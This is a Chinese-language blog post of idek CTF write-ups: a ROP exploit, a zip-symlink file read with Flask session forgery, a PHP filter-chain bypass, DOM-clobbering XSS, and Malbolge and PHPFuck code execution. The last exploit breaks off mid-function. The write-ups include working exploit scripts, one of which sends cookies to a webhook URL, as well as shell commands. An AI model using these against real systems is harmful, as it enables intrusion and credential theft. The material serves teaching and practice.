20 分鐘閱讀

Yet another CTF writeups ;)

Intro

這個假日自己一個人參加了idek CTF,我這次解了1題pwn、4題web和4題misc,這裡簡單記錄一下解題過程。

Typop (Pwn)

Overview

checksec:

[*] '/ctf/work/idek/Typop/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ida反組譯出來的程式碼:

unsigned __int64 __fastcall win(char a1, char a2, char a3)
{
  FILE *stream; // [rsp+18h] [rbp-58h]
  _BYTE filename[10]; // [rsp+26h] [rbp-4Ah] BYREF
  char s[8]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v7; // [rsp+38h] [rbp-38h]
  __int64 v8; // [rsp+40h] [rbp-30h]
  __int64 v9; // [rsp+48h] [rbp-28h]
  __int64 v10; // [rsp+50h] [rbp-20h]
  __int64 v11; // [rsp+58h] [rbp-18h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  filename[9] = 0;
  filename[0] = a1;
  filename[1] = a2;
  filename[2] = a3;
  strcpy(&filename[3], "g.txt");
  stream = fopen(filename, "r");
  if ( !stream )
  {
    puts("Error opening flag file.");
    exit(1);
  }
  *(_QWORD *)s = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  fgets(s, 32, stream);
  puts(s);
  return __readfsqword(0x28u) ^ v12;
}

unsigned __int64 getFeedback()
{
  __int64 buf; // [rsp+Eh] [rbp-12h] BYREF
  __int16 v2; // [rsp+16h] [rbp-Ah]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  buf = 0LL;
  v2 = 0;
  puts("Do you like ctf?");
  read(0, &buf, 0x1EuLL);
  printf("You said: %s\n", (const char *)&buf);
  if ( (_BYTE)buf == 121 )
    printf("That's great! ");
  else
    printf("Aww :( ");
  puts("Can you provide some extra feedback?");
  read(0, &buf, 0x5AuLL);
  return __readfsqword(0x28u) ^ v3;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  while ( puts("Do you want to complete a survey?") && getchar() == 121 )
  {
    getchar();
    getFeedback();
  }
  return 0;
}

可以發現getFeedback()裡有很明顯的兩個stack buffer overflow,

一個是位於read(0, &buf, 0x1EuLL);,另一個是位於read(0, &buf, 0x5AuLL);

另外,win()在我們將rdi, rsi, rdx控制成”f”, “l”, “a”後呼叫,就可以開啟flag.txt,並且win()會將flag印出來。

Solution

由於題目有canary,所以我們可以先利用第一個buffer overflow蓋掉canary的一個byte,利用printf("You said: %s\n", (const char *)&buf);來leak出canary,

接著再利用第二個buffer overflow蓋掉return address來ROP。

但由於題目有PIE,所以我們還需要先leak出PIE base。

這裡我們可以先將return address partial overwrite回main(),來重新執行getFeedback()

再利用與先前步驟相同的方式leak出stack上的return address(main+55)的值,來算出PIE base。

需要注意的是,printfsystem類似,其中的movaps指令會要求stack alignment,所以在partial overwrite回main()的時候,可以跳到main() push rbp之後的地方,這樣stack因為少push了一次,就不會導致alignment的問題了。

在leak出PIE base之後,就可以開始ROP了。

這裡我使用ret2csu的方式來控制rdi, rsi, rdx。

這個binary的__libc_csu_init()裡的gadget如下:

0x00000000000014b0 <+64>:    mov    rdx,r14
0x00000000000014b3 <+67>:    mov    rsi,r13
0x00000000000014b6 <+70>:    mov    edi,r12d
0x00000000000014b9 <+73>:    call   QWORD PTR [r15+rbx*8]
...
0x00000000000014ca <+90>:    pop    rbx
0x00000000000014cb <+91>:    pop    rbp
0x00000000000014cc <+92>:    pop    r12
0x00000000000014ce <+94>:    pop    r13
0x00000000000014d0 <+96>:    pop    r14
0x00000000000014d2 <+98>:    pop    r15
0x00000000000014d4 <+100>:   ret

所以若將位在0x14CC與0x14B0的gadget串起來,我們就可以透過r12d, r13, r14來控制rdi, rsi, rdx,

並且因為getFeedback() return的時候rbx為&__libc_csu_init,所以只需要將r15設為:「存win()的位置 - 8*&__libc_csu_init」,就可以call到win()

但這裡會衍生出一個問題,我們win()的address要放在哪裡?該怎麼放呢?

答案是我們可以利用第一步leak canary時,連帶被leak出來的saved rbp,推算出當前stack的位置

即可以在getFeedback()第二次read時,將win()的address放在stack上,並將該位置扣掉8*&__libc_csu_init,再pop給r15,就可以call到win()

結合上述的技巧:

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union
from ctypes import c_uint64, c_uint32

binary = ELF("./chall")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = "amd64"


def one_gadget(filename: str) -> list:
    return [
        int(i)
        for i in __import__("subprocess")
        .check_output(["one_gadget", "--raw", filename])
        .decode()
        .split(" ")
    ]


GDB_SCRIPT = """
# b *getFeedback+70
# b *getFeedback+172
b *getFeedback+198
b win
continue
""".strip().splitlines()
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT if not line.startswith("#"))


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == "d":
            context.log_level = "debug"
        # ./solve l
        if arg == "l":
            io = process([binary.path])
        # ./solve g
        elif arg == "g":
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("typop.chal.idek.team", 1337)
    return io


def main():
    io = conn()
    io.sendlineafter(b"?\n", b"y")

    pad = b"A" * (0x12 - 8 + 1)

    io.sendafter(b"?\n", pad)
    io.recvuntil(pad)
    canary = io.recv(7)
    canary = b"\x00" + canary
    log.info(f"canary: {canary}")
    stack_address = int.from_bytes(io.recv(6), "little")
    log.info(f"stack address: {stack_address:#x}")

    payload = flat(
        {
            0x12 - 8: canary,
            0x12: stack_address,
            0x12 + 8: p8((binary.symbols["main"] + 8) & 0xFF),
        }
    )

    io.sendafter(b"?\n", payload)

    io.sendlineafter(b"?\n", b"y")

    pad = b"A" * 0x1A

    io.sendafter(b"?\n", pad)
    io.recvuntil(b"You said: ")
    io.recv(0x1A)
    main_55_addr = int.from_bytes(io.recv(6), "little")
    log.info(f"main+55 address: {main_55_addr:#x}")
    binary.address = main_55_addr - 55 - binary.symbols["main"]
    log.success(f"PIE base: {binary.address:#x}")
    log.success(f"win: {binary.symbols['win']:#x}")

    csu_init1 = binary.address + 0x14CC
    csu_init2 = binary.address + 0x14B0

    rop_chain = flat(
        [
            csu_init1,
            ord("f"),  # r12 -> edi
            ord("l"),  # r13 -> rsi
            ord("a"),  # r14 -> rdx
            # call qword ptr [r15 + rbx*8]
            c_uint64(
                (stack_address - 0x22) - binary.symbols["__libc_csu_init"] * 8
            ).value,
            csu_init2,
        ]
    )

    payload = flat(
        {
            0x00: p64(binary.symbols["win"]),
            0x12 - 8: canary,
            # 18: 0xdeadbeef,
            0x12 + 8: rop_chain,
        },
        length=0x5A,
    )

    io.sendafter(b"?\n", payload)

    io.interactive()


if __name__ == "__main__":
    main()

flag: idek{2_guess_typos_do_matter}

Readme (Web)

Overview

這題是用go寫的,source code:

package main

import (
    "bufio"
    "bytes"
    "context"
    "crypto/sha256"
    "encoding/json"
    "errors"
    "fmt"
    "io"
    "io/ioutil"
    "math/rand"
    "net/http"
    "os"
    "time"
)

var password = sha256.Sum256([]byte("idek"))
var randomData []byte

const (
    MaxOrders = 10
)

func initRandomData() {
    rand.Seed(1337)
    randomData = make([]byte, 24576)
    if _, err := rand.Read(randomData); err != nil {
        panic(err)
    }
    copy(randomData[12625:], password[:])
}

type ReadOrderReq struct {
    Orders []int `json:"orders"`
}

func justReadIt(w http.ResponseWriter, r *http.Request) {
    defer r.Body.Close()

    body, err := ioutil.ReadAll(r.Body)
    if err != nil {
        w.WriteHeader(500)
        w.Write([]byte("bad request\n"))
        return
    }

    reqData := ReadOrderReq{}
    if err := json.Unmarshal(body, &reqData); err != nil {
        w.WriteHeader(500)
        w.Write([]byte("invalid body\n"))
        return
    }

    if len(reqData.Orders) > MaxOrders {
        w.WriteHeader(500)
        w.Write([]byte("whoa there, max 10 orders!\n"))
        return
    }

    reader := bytes.NewReader(randomData)
    validator := NewValidator()

    ctx := context.Background()
    for _, o := range reqData.Orders {
        if err := validator.CheckReadOrder(o); err != nil {
            w.WriteHeader(500)
            w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
            return
        }

        ctx = WithValidatorCtx(ctx, reader, int(o))
        _, err := validator.Read(ctx)
        if err != nil {
            w.WriteHeader(500)
            w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
            return
        }
    }

    if err := validator.Validate(ctx); err != nil {
        w.WriteHeader(500)
        w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
        return
    }

    w.WriteHeader(200)
    w.Write([]byte(os.Getenv("FLAG")))
}

func main() {
    if _, exists := os.LookupEnv("LISTEN_ADDR"); !exists {
        panic("env LISTEN_ADDR is required")
    }
    if _, exists := os.LookupEnv("FLAG"); !exists {
        panic("env FLAG is required")
    }

    initRandomData()

    http.HandleFunc("/just-read-it", justReadIt)

    srv := http.Server{
        Addr:         os.Getenv("LISTEN_ADDR"),
        ReadTimeout:  5 * time.Second,
        WriteTimeout: 5 * time.Second,
    }

    fmt.Printf("Server listening on %s\n", os.Getenv("LISTEN_ADDR"))
    if err := srv.ListenAndServe(); err != nil {
        panic(err)
    }
}

type Validator struct{}

func NewValidator() *Validator {
    return &Validator{}
}

func (v *Validator) CheckReadOrder(o int) error {
    if o <= 0 || o > 100 {
        return fmt.Errorf("invalid order %v", o)
    }
    return nil
}

func (v *Validator) Read(ctx context.Context) ([]byte, error) {
    r, s := GetValidatorCtxData(ctx)
    buf := make([]byte, s)
    _, err := r.Read(buf)
    if err != nil {
        return nil, fmt.Errorf("read error: %v", err)
    }
    return buf, nil
}

func (v *Validator) Validate(ctx context.Context) error {
    r, _ := GetValidatorCtxData(ctx)
    buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
    if err != nil {
        return err
    }
    if bytes.Compare(buf, password[:]) != 0 {
        return errors.New("invalid password")
    }
    return nil
}

const (
    reqValReaderKey = "readerKey"
    reqValSizeKey   = "reqValSize"
)

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
    reader := ctx.Value(reqValReaderKey).(io.Reader)
    size := ctx.Value(reqValSizeKey).(int)
    if size >= 100 {
        reader = bufio.NewReader(reader)
    }
    return reader, size
}

func WithValidatorCtx(ctx context.Context, r io.Reader, size int) context.Context {
    ctx = context.WithValue(ctx, reqValReaderKey, r)
    ctx = context.WithValue(ctx, reqValSizeKey, size)
    return ctx
}

可以觀察到,這個server有一個just-read-it的endpoint,可以透過POST傳一個json給他。

傳給他的json會被用json.Unmarshal解析成ReadOrderReq的struct,接著server會檢查Orders的長度是否大於10,如果大於10就會error。

在檢查完Orders的長度之後,會迭代Orders裡面的每個元素。

在迭代時會先將被迭代的元素o傳給CheckReadOrder來確保是大於0且小於等於100的整數,再將o傳給Read來讀取randomData中的資料,每次讀取的長度為o

在迭代完之後,server會呼叫Validate,確認在已經讀取過的randomData之後的32個byte是否等於password,如果正確就會回傳flag

Solution

這題的目標很明確,由於password是放在randomData的第12625 byte之後,所以我們要想辦法繞過只能讀10次,且每次讀取的長度都要小於等於100的限制來讀取12625 bytes的資料。

這題最終的解法很簡單,但若跟我一樣不熟悉golang的話,可能不太容易想到,

不過因為這題的code很短,server功能也很簡單,所以我們很容易可以測出這個server的漏洞:

若我們將Orders裡面的元素設為[100],並自己在local將Validate要比對的32個byte給print出來,就可以發現我們我們並不只讀取100個byte,而是讀了4096個byte!

原因是這段code:

if size >= 100 {
    reader = bufio.NewReader(reader)
}

Orders裡面的元素大於等於100,就會將reader轉成bufio.Reader

但在轉換的過程中,bufio.Reader預設會將buffer size設為4096。因此我們在read 100 bytes前,實際上早就已經讀取了4096 bytes進buffer了!

利用這個特性,我們可以將Orders裡面的元素設為[100, 100, 100, 99, 99, 99, 40],這樣就會讀取4096*3+99*3+40=12625 bytes,就能順利繞過檢查,拿到flag。

import httpx

BASE = "http://readme.chal.idek.team:1337"
# BASE = "http://localhost:1337"


def main() -> None:
    with httpx.Client(base_url=BASE) as client:
        resp = client.post(
            "/just-read-it", json={"orders": [100, 100, 100, 99, 99, 99, 40]}
        )
        print(resp.text)


if __name__ == "__main__":
    main()

flag: idek{BufF3r_0wn3rsh1p_c4n_b1t3!}

SimpleFileServer (Web)

Overview

這題很水,主要的問題出在這:

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if not session.get("uid"):
        return redirect("/login")
    if request.method == "GET":
        return render_template("upload.html")

    if "file" not in request.files:
        flash("You didn't upload a file!", "danger")
        return render_template("upload.html")

    file = request.files["file"]
    uuidpath = str(uuid.uuid4())
    filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
    flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
    logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
    return redirect("/upload")

上傳的zip會被用unzip FILENAME -d DIR解壓縮,但是由於zip裡可以挾帶symlink,所以可以利用symlink在這個部分做任意檔案讀取:

@app.route("/uploads/<path:path>")
def uploads(path):
    try:
        return send_from_directory(DATA_DIR + "uploads", path)
    except PermissionError:
        abort(404)

又因為題目的SECRET_KEY的產生方式是寫在/app/config.py,如下:

import random
import os
import time

SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

又因為server會把log寫在/tmp/server.log裡面:

DATA_DIR = "/tmp/"

# Uploads can only be 2MB in size
app.config["MAX_CONTENT_LENGTH"] = 2 * 1000 * 1000

# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + "server.log")
LOG_HANDLER.setFormatter(
    logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style="{")
)

所以只要我們可以得到/app/config.py的內容,再透過/tmp/server.log得到server的start time,即可暴力猜出SECRET_KEY,

接著只需要偽造一個為admin的session,就可以拿到flag了:

@app.route("/flag")
def flag():
    if not session.get("admin"):
        return "Unauthorized!"
    return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode(
        "utf-8"
    )

Exploit

解法很直觀,就不多做解釋了:

import asyncio
import base64
import hashlib
import json
import os
import random
import secrets
from datetime import datetime

import httpx
from itsdangerous import TimestampSigner
from tqdm import tqdm

BASE = "http://simple-file-server.chal.idek.team:1337"
# BASE = "http://localhost:1337"


def sign(data, key: str) -> str:

    signer = TimestampSigner(
        secret_key=key,
        salt="cookie-session",
        key_derivation="hmac",
        digest_method=hashlib.sha1,
    )
    return signer.sign(base64.b64encode(json.dumps(data).encode("utf-8"))).decode(
        "utf-8"
    )


def timestamp(s: str) -> int:
    # format is something like 2023-01-15 07:41:29 +0000
    return int(datetime.strptime(s, "%Y-%m-%d %H:%M:%S %z").timestamp())


async def main() -> None:
    os.system("rm -rf pwn.zip")
    os.system("rm -rf config")
    os.system("rm -rf log")
    os.system("ln -s /app/config.py config")
    os.system("ln -s /tmp/server.log log")
    os.system("zip -y -r pwn.zip config log")
    os.system("rm config")
    os.system("rm log")

    username = secrets.token_hex(10)
    password = "lebr0nli"
    print(f"username: {username}")

    async with httpx.AsyncClient(base_url=BASE, http2=True) as client:
        resp = await client.post(
            "/register",
            data={
                "username": username,
                "password": password,
            },
        )
        # print(resp.text)
        await client.post(
            "/login",
            data={
                "username": username,
                "password": password,
            },
        )
        resp = await client.post(
            "/upload",
            files={
                ("file", open("pwn.zip", "rb")),
            },
            follow_redirects=True,
        )
        file_id = resp.text.split('Your unique ID is <a href="/uploads/')[1].split(
            '">'
        )[0]
        print(f"file_id: {file_id}")
        resp = await client.get(f"/uploads/{file_id}/config")
        offset = resp.text.split("SECRET_OFFSET = ")[1].split("\n")[0]
        print(f"offset: {offset}")
        resp = await client.get(f"/uploads/{file_id}/log")
        first_log_time = resp.text.split("[")[1].split("]")[0]
        print(f"first_log_time: {first_log_time}")
        seed_lower_bound = (int(offset) + timestamp(first_log_time)) * 1000
        print(f"seed_lower_bound: {seed_lower_bound}")
        seed_upper_bound = seed_lower_bound + 1000
        print(f"seed_upper_bound: {seed_upper_bound}")
        for seed in tqdm(range(seed_lower_bound, seed_upper_bound)):
            # seed = round(1606569865.3411758 * 1000)
            # print(f"seed: {seed}")
            random.seed(seed)
            key = "".join([f"{random.randint(0, 15):x}" for _ in range(32)])
            # print(f"key: {key}")
            session = {
                "uid": "admin",
                "admin": True,
            }
            cookie = sign(session, key)
            # print(f"cookie: {cookie}")
            client.cookies.set("session", cookie)
            resp = await client.get("/flag")
            if "idek{" in resp.text:
                print(resp.text)
                return


if __name__ == "__main__":
    asyncio.run(main())

flag: idek{s1mpl3_expl01t_s3rver}

Paywall (Web)

Overview

這題的code很簡短,如下:

<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="assets/style.css">
    <title>The idek Times</title>
</head>
<body>

<main>
    <nav>
        <h1>The idek Times</h1>
    </nav>

    <?php

        error_reporting(0);
        set_include_path('articles/');

        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);

            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }

    ?>

    <a href="/?p=flag">
        <article>
            <h2>All about flags</h2>
            <p>Click to view</p>
        </article>
    </a>

    <a href="/?p=hello-world">
        <article>
            <h2>My first post!</h2>
            <p>Click to view</p>
        </article>
    </a>

    <a href="/?source" id="source">Source</a>

</main>


</body>
</html>

可以看到,在file_get_contents($_GET['p'], 1)的部分,因為沒有做任何的檢查,所以可以直接讀取任意檔案。

但是,articles/flag的檔案內容為:

PREMIUM - idek{REDACTED}

所以如果直接讀取articles/flag這個檔案,會出現Thank you for your interest in The idek Times, but this article is only for premium users!的訊息,不會出現flag,因為檔案的內容的開頭不是FREE,而是PREMIUM

Solution

由於可以使用php filter,所以只要我們能利用filter,將檔案中的內容轉換成FREE開頭的字串,就可以順利讀取flag了。

具體添加字元的方式,可以參考synacktiv的這篇文章

我最後的解法有點爛,算是trial and error的結果。

我添加字元的方式與文章中的方法大致相同,不同的是我發現若使用這個工具提供的filter來添加”FREE”,最終的結果會導致flag最後幾個字元消失。

因此為了解決這個問題,我在開始套filter chain前,先用convert.iconv.UTF8.CSISO2022KR, convert.base64-encode, convert.iconv.UTF8.UTF7改變了flag一開始的內容,讓之後的轉換就算有字元消失,也不會影響到idek{}中的內容。

最後我的解法如下:

import httpx
from base64 import b64decode


BASE = "http://paywall.chal.idek.team:1337"


def main() -> None:
    payload = "php://filter/"
    # make the final result longer to avoid losing some characters in the conversion
    payload += "convert.iconv.UTF8.CSISO2022KR|" * 2
    payload += "convert.base64-encode|"
    payload += "convert.iconv.UTF8.UTF7|"
    # https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py
    conversions = {
        "E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
        "F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
        "R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
    }
    payload += conversions["E"]
    remove_bad = "|convert.base64-decode|convert.base64-encode|"
    payload += remove_bad
    payload += conversions["E"]
    payload += remove_bad
    payload += conversions["R"]
    payload += remove_bad
    payload += conversions["F"]
    payload += remove_bad
    payload += "/resource=flag"
    print(payload)
    with httpx.Client(base_url=BASE) as client:
        resp = client.get("/", params={"p": payload})
        try:
            data = resp.content.split(b"<article>")[1].split(b"</article>")[0]
            data = data[4:]
            print(b64decode(data))
        except IndexError:
            print("nope")
            return


if __name__ == "__main__":
    main()

# b'\x1b$)C\x1b$)CPREMIUM - idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}>'

JSON Beautifier (Web)

Overview

這題是一個XSS的挑戰,主要有問題的code如下:

window.inputBox = document.getElementById('json-input');
window.outputBox = document.getElementById('json-output');
window.container = document.getElementById('container');

const defaults = {
    opts: {
        cols: 4
    },
    debug: false,
};s

const beautify = () => {
    try {
        userJson = JSON.parse(inputBox.textContent);
    } catch (e){
        return;
    };

    loadConfig();
    const cols = this.config?.opts?.cols || defaults.opts.cols;
    output = JSON.stringify(userJson, null, cols);

    console.log(this.config?.opts)

    if(this.config?.debug || defaults.debug){
        eval(`beautified = ${output}`);
        return beautified;
    };

    outputBox.innerHTML = `<pre>${output}</pre>`
};

const saveConfig = (config) => {
    localStorage.setItem('config', JSON.stringify(config));
};

const loadConfig = () => {
    if (localStorage.hasOwnProperty('config')){
        window.config = JSON.parse(localStorage.getItem('config'))
    };
}

console.log('hello from JSON beautifier!')

inputBox.addEventListener("DOMCharacterDataModified", () => {
    beautify();
});

if((new URL(location).searchParams).get('json')){
    const jsonParam = (new URL(location).searchParams).get('json');
    inputBox.textContent = jsonParam;
};

beautify();

可以發現這個js會把url的json參數的內容放到inputBox中,接著會把inputBox的內容經過縮排的轉換後放到outputBox.innerHTML中。

但是在轉換的過程中,並沒有對inputBox的內容做任何的過濾,所以導致我們可以在outputBox中插入任意的tag,

但因為有CSP的關係,所以不能成功XSS:

@app.after_request
def add_csp_header(response):
    response.headers['Content-Security-Policy'] = "script-src 'unsafe-eval' 'self'; object-src 'none';"
    return response

可以看到CSP允許script-src'unsafe-eval''self'

另外可以發現當this.config?.debug不為undefined時,會執行eval(),而eval()的內容為output

所以代表若我們能控制this.config?.debugoutput,即可執行任意的js

Solution

在開始想該怎麼控制this.config?.debugouput的值之前,首先要解決的問題是:

beutify()已經被呼叫過一次了,我們該如何再次呼叫beautify()呢?

答案是我們可以透過插入一個帶有srcdoc的iframe,並在srcdoc裡面重新配置inputBox的內容,並插入一個src/static/js/main.js的script tag,這樣就可以再次呼叫beautify()了:

"<iframe srcdoc='<div id=json-input>[]</div><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"

接下來,我們先假設我們可以控制所有除了output以外的變數,我們要怎麼控制output的內容呢?

答案是透過這段code:

const cols = this.config?.opts?.cols || defaults.opts.cols;
output = JSON.stringify(userJson, null, cols);

cols的型別String時,JSON.stringify()會利用cols的內容來對輸出做縮排,

舉例來說以下這段js:

JSON.stringify([[]], null, '1234')

會輸出:

[
1234[]
]

Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#syntax

所以若我們將userJson控制為:

[
    "*/eval(name)//"
]

並且將cols控制為/*,此時的輸出將會是:

[
/*"*/eval(name)//"
]

這樣一來eval(name)就會被執行,接著我們只需要將name改成我們想要執行的js,即可執行任意的js!

知道如何控制output的內容後,接下來我們該如何控制this.config?.opts?.colsthis.config?.debug的值呢?

這個部分常打CTF的人應該都知道,那就是DOM Clobbering。

由於JSON.stringify會要求cols的型別為String,所以我們可以google一下有cols這個property的DOM element,可以發現textareaframeset都有這個property,稍微測試一下可以發現只有frameset可以控制cols的值為任意的字串,而textarea只能控制成整數

知道這個特性後,我們就可以透過DOM Clobbering來控制this.config?.opts?.cols的值了:

"<iframe srcdoc='<div id=json-input>[&#x22;*/alert(1)//&#x22;]</div><iframe name=config srcdoc=&quot;<frameset id=opts cols=&#x2f;*></frameset>&quot;></iframe><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"

接著是this.config?.debug的部分,我們可以透過在framset裡再插一個id為debugframe來使其不為undefined:

"<iframe srcdoc='<div id=json-input>[&#x22;*/alert(1)//&#x22;]</div><iframe name=config srcdoc=&quot;<frameset id=opts cols=&#x2f;*><frame id=debug></frame></frameset>&quot;></iframe><script src=http://json-beautifier.chal.idek.team:1337/static/js/main.js></script>'></iframe>"

可以發現上面這個payload成功執行了alert(1)

接下來只需依樣畫葫蘆即可將cookie拿到:

from flask import Flask

app = Flask(__name__)


@app.route("/")
def index():
    return (
        """
<script>
    window.name = "location=`https://webhook.site/1d0109f6-d6da-4c19-8858-2b879b5219bf?f=`+encodeURIComponent(top.document.cookie)";
    location.href = "http://json-beautifier.chal.idek.team:1337/?json=%22%3Ciframe%20name%3Deval(top.name)%20srcdoc%3D%27%3Cdiv%20id%3Djson-input%3E%5B%26%23x22%3B*%2Feval(name)%2F%2F%26%23x22%3B%5D%3C%2Fdiv%3E%3Ciframe%20name%3Dconfig%20srcdoc%3D%26quot%3B%3Cframeset%20id%3Dopts%20cols%3D%26%23x2f%3B*%3E%3Cframe%20id%3Ddebug%3E%3C%2Fframe%3E%3C%2Fframeset%3E%26quot%3B%3E%3C%2Fiframe%3E%3Cscript%20src%3Dhttp%3A%2F%2Fjson-beautifier.chal.idek.team%3A1337%2Fstatic%2Fjs%2Fmain.js%3E%3C%2Fscript%3E%27%3E%3C%2Fiframe%3E%22";
</script>
""",
        200,
        {"Content-Type": "text/html"},
    )


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=1337)

flag: idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}

Malbolge I: Gluttony (Misc)

Overview

題目給了一個以Python實現的Malbolge interpreter:

from sys import stdin

CRAZY = [[1, 0, 0], [1, 0, 2], [2, 2, 1]]

ENCRYPT = "5z]&gqtyfr$(we4{WP)H-Zn,[%\\3dL+Q;>U!pJS72FhOA1CB6v^=I_0/8|jsb9m<.TVac`uY*MK'X~xDl}REokN:#?G\"i@"
ENCRYPT = list(map(ord, ENCRYPT))

with open("banner") as banner:
    print(*banner.readlines())


def crazy(a, b, bad):
    trits = CRAZY if bad is None else bad
    result = 0
    d = 1
    for _ in range(10):
        result += trits[b // d % 3][a // d % 3] * d
        d *= 3
    return result


def initialize(source, mem, bad):
    i = 0
    for c in source:
        assert (ord(c) + i) % 94 in {4, 5, 23, 39, 40, 62, 68, 81}
        mem[i] = ord(c)
        i += 1
    while i < 3**10:
        mem[i] = crazy(mem[i - 1], mem[i - 2], bad)
        i += 1


def interpret(mem, stdin_allowed, bad):
    output = ""
    a, c, d = 0, 0, 0
    while True:
        if not 33 <= mem[c] <= 126:
            return output

        match (mem[c] + c) % 94:
            case 4:
                c = mem[d]
            case 5:
                ch = chr(int(a % 256))
                print(ch, end="")
                output += ch
            case 23:
                if stdin_allowed:
                    try:
                        a = ord(stdin.read(1))
                    except TypeError:
                        return output
                else:
                    return output
            case 39:
                a = mem[d] = 3**9 * (mem[d] % 3) + mem[d] // 3
            case 40:
                d = mem[d]
            case 62:
                a = mem[d] = crazy(a, mem[d], bad)
            case 81:
                return output

        if 33 <= mem[c] <= 126:
            mem[c] = ENCRYPT[mem[c] - 33]

        c = (c + 1) % 3**10
        d = (d + 1) % 3**10


def malbolge(program, stdin_allowed=True, a_bad_time=None):
    memory = [0] * 3**10
    initialize(program, memory, a_bad_time)
    return interpret(memory, stdin_allowed, a_bad_time)

題目主要的部分在於:

from malbolge import malbolge

assert len(code := input()) <= 66 - 6 + (6 + 6)/6
exec(malbolge(code))

server會把我們輸入的Malbolge code執行後的回傳值丟進exec

Solution

這題的解法其實很簡單,不需要自己寫Malbolge code,wiki上有一個echo的範例,會把我們輸入的東西印出來

所以只需要把這個範例的code輸入給他,接著輸入import os;os.system("cat */*")接著ctrl+d使其EOF,就可以拿到放在某個檔名很長的資料夾裡的flag了

Note: 不太確定是什麼原因,這個只有用socat可以做到,那時我試了其他工具好久…

flag: idek{4l1_h0p3_484nd0n_y3_wh0_3nt3r_h3r3}

PHPFu..n (Misc)

Overview

這題是一個PHPFuck的挑戰,目標是利用[(,.^)]'這八種符號來寫出一個php code,並且讀取flag.txt的內容

比較特別的是,執行過程中只要出現一個warning就會停止執行,所以我們不再能夠使用老方法[].[]來產生ArrayArray的字串了。

並且這題的php環境是最新的php 8,所以也不能再使用例如:[]^[]來產生整數了。

Solution

這題解法的核心思想跟我之前寫PHPFun類似,所以相關的前置知識這裡就不多說了,這裡主要是要說明和老方法不同的地方,有興趣的可以看看@splitline的文章我之前的文章

經過一些測試後,我們可以發現單純以[]().,去互相xor,無法直接做出例如system這種字串,但其中有幾個字元值得留意:

>>> '['^'('
=> "s"
>>> ')'^']'
=> "t"
>>> '['^')'
=> "r"

我們可以將這些字元組合起來,合出strstr這個字串

>>> ('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')')
=> "strstr"

但這有什麼用呢?

答案是我們可以利用strstr('','.')的呼叫來拿到false:

>>> (('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')
=> false

接著只要執行false^false,即可創造出一個0這個新的字元:

>>> (('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')^(('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')
=> 0
>>> ((('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')^(('['^'(').(')'^']').('['^')').('['^'(').(')'^']').('['^')'))('','.')).''
=> "0"

接著除了[]()'.,這幾個字元,我們就多了0這個字元能進行xor了!

經過測試後,可以發現能xor出的字元變的很多,並且system('sh')(實際上是sYstEm('sh'))所需的字元也都能xor出來了。

最終的exploit:

from pwn import *


def main() -> None:
    def basic_encode(code: str) -> str:
